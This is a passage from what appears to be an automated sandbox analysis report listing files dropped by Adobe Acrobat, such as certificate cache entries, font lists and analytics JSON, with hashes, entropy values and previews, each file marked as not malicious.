SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklO1lltfllXlE/HT8koPtNNX8RolJuRdxLlGB9lQRYwpDdt:kKXFeT81TNMa8RdWBwRd
MD5:	011D088D45C75D246935DC96D39E6BC3
SHA1:	9BF12449B529864A83C6796A58A12A256DB12F6D
SHA-256:	C0DB883E9A200A239A6423484C3424FA0CF0F94AE781F7C6E5AA2BFA7140705B
SHA-512:	6A5DD14E434A2C8C377BDD3711E86F9506E9E58787E41BDE4FDAB55F0ECA310D457EEDA0CF4B92810AD954F4008A37752A56BF92A40910DC68137DFC9BD42596
Malicious:	false
Preview:	p...... ........}#G:}c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kKHq2yL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/qRiDnLNkPlE99SNxAhUe/3
MD5:	A4A0D6A8705234AFA7CE5FE3A10BB59F
SHA1:	ABDD943FBDDDCD399298FF57DF926B683B3BD373
SHA-256:	7A1F472A4906BCBE723D917F3F10388334E92D110413C40817810E7B37DA3EA0
SHA-512:	BBE0991E0C61F9B59C269AE546BE5FC2990BDA7805A2912CDDB4BC51B2C7F868E46E6FF48A713266B3E369042B90BBAB31A6E8803A03B3D5A23253252C0F3856
Malicious:	false
Preview:	p...... ...........L}c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368936348558062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJM3g98kUwPeUkwRe9:YvXKX7mWUitoGFlVGMbLUkee9
MD5:	3BF112755DF34FDB8079B55650650F13
SHA1:	3CD92A07018FD35B7352F16664116179D872D49E
SHA-256:	C55EC30EE4DD6C92773259CCAEDAF9DE559D1CA60820635F26B64A4F6F263283
SHA-512:	BDD92EEBAAF0E540A7C5E7F0DDF13EF1EACD32561F1352BE56D3A50678B185EE348B09BC389AB7E61D72B0A9A4BF40A155D9A61FD59D080AB0F4E8B5D2FFC5A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311579517887197
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfBoTfXpnrPeUkwRe9:YvXKX7mWUitoGFlVGWTfXcUkee9
MD5:	77CA0F5A381370B45A71BF5ACB2FE89F
SHA1:	B8B693057F7B30FB48DA15DC851BE3B3EE37BC42
SHA-256:	D4ACF4D15C23F35C6A7F0EF39F4BB735FFA0C8EFAF24D2F3C03A53D8B60FC76C
SHA-512:	2EE499A5B5874306CB45D5E7BEE58EB15EDDAC45F50C752417C85177277D3F79AE169E6251677E08B72CAA4BCA21E917B8E54A656FBD2F7350EE0C2104142201
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289718432632465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfBD2G6UpnrPeUkwRe9:YvXKX7mWUitoGFlVGR22cUkee9
MD5:	6F70E7E7C95AEDBCD6FE43D1DCCC8FA8
SHA1:	27A1B124B670804B090E23F66AAEE6075C535C5B
SHA-256:	33B3194A294CABA63153E1102E87F1025BC22BCCA23DE2B199CC79882CE5135F
SHA-512:	2DC8F2C2DBAF31A49FD8994D9B1102CBA14B80AB2508A8B9B6706D49D668A5E13BD5FF26A5E7540710A91E93F4D5D0D6AEF16B043273E766B9C3EA5BB757CE2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359810402753312
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfPmwrPeUkwRe9:YvXKX7mWUitoGFlVGH56Ukee9
MD5:	DD521211F8F8FE4AE5D6468F5778BD09
SHA1:	E5F4A04B00D6AA10CA084D7C32DAE99A0F91D4BF
SHA-256:	F1F96771E10648A100421E5BAD844741D0699BA89C5CF598786A74303D6656FC
SHA-512:	DA90C7885BA0E38D9B431AD4F045952CADA4B27C82444151E74D77C6CB4A8E619ACB8148ADA80800BDFCAB443CBE675A6B3B3366AAD29E3430EE0CBCE2BD07C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697424455193341
Encrypted:	false
SSDEEP:	24:Yv6X56g6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSpX:Yve6dhgy6SAFv5Ah8cv/9
MD5:	8B41335A5A695A02F18F4EB857820D47
SHA1:	5304888C68D6206D1BB1365A60D5EE1CD94BEEB6
SHA-256:	14D0215EDD66E8CD169D17B01896FD3303342001F88AD7143A3CE398EDC6CA6B
SHA-512:	7A3DC55CC1D254C0B0B0CAFAF81AB128AEC6381266115CB5492D065ACC786AF93A9082EBEE373342F9AA3B1F94D30B30343CD2F440EA1500AD804CD6C8D3E8B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30826035208925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJf8dPeUkwRe9:YvXKX7mWUitoGFlVGU8Ukee9
MD5:	243A16522AF9BD11A4A096AF92776457
SHA1:	C8E88AABD43AE52D88DFDF67CEA06472A46C626A
SHA-256:	ACB17C45616366A717A0FAA22CA5D1CD4261906803B5ECB04F7E32691C8BC350
SHA-512:	23CDED20CE3586F1FB5A2ECE2CA0E017B0720B250231376F370061E9139AF4CF237A27E90CF25AFD7ECBEB1AC1251D4E5A3E1450C531453AA6157E384236098D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.308510260643462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfQ1rPeUkwRe9:YvXKX7mWUitoGFlVGY16Ukee9
MD5:	B80E8F92C561A8F7529B757D555C227E
SHA1:	A56DB942C1DF91E907A2F2B5F0BA34370D34C3DC
SHA-256:	AED5281E2FCBF31B5EB41C94C8B4626285EDCE3FF23096BDBC208CAC69F130A3
SHA-512:	96532816A152382142B8BF2AEBDCE19F15A6F41FC7C77978AFC12A0FD96A236FBF0B6235301EE79B9AE56A5A325F69789EC83C29369D42B93BBB1035E314AB67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319023053457941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfFldPeUkwRe9:YvXKX7mWUitoGFlVGz8Ukee9
MD5:	DBC36619149BD3F6A845B69D4AFF3688
SHA1:	725E7787F9B882E822966EA173C17C25DD4F94B0
SHA-256:	1E1E51239FD21B15834AD841B1F5D0CF3D87F18CD2E4EE683C1F02D1EE3147B6
SHA-512:	4241F75008C3380C773300C0065B72536E400A9F73CF2898E6ADAC9486AFD3697D52B4EB426DE7E83C53E17E52709ECBF6E1DED4ADE07C9D35AAD502686ECE37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.334650388463043
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfzdPeUkwRe9:YvXKX7mWUitoGFlVGb8Ukee9
MD5:	092351AAFAF5323369A17735A722D31A
SHA1:	A949EE155F08E8372B219C2DA8740E167D3C1D68
SHA-256:	9FE5B5A167191CD09C88F12D692F70E27AED371C8486873A56CD6D52F062885D
SHA-512:	FA7F4F608264384D7B53350DFD54B125674C175835C9C9976640D2BC03FAACC523A34034D28D57363C7FC057D881B21DC2FCC92D13395D8A5DC47F9A0D97BB67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3150054805323474
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfYdPeUkwRe9:YvXKX7mWUitoGFlVGg8Ukee9
MD5:	610BE7DB65E831F11C67BA2294968AE2
SHA1:	DB2323B6A2440C86365A07354AEBCD3EBC7626B3
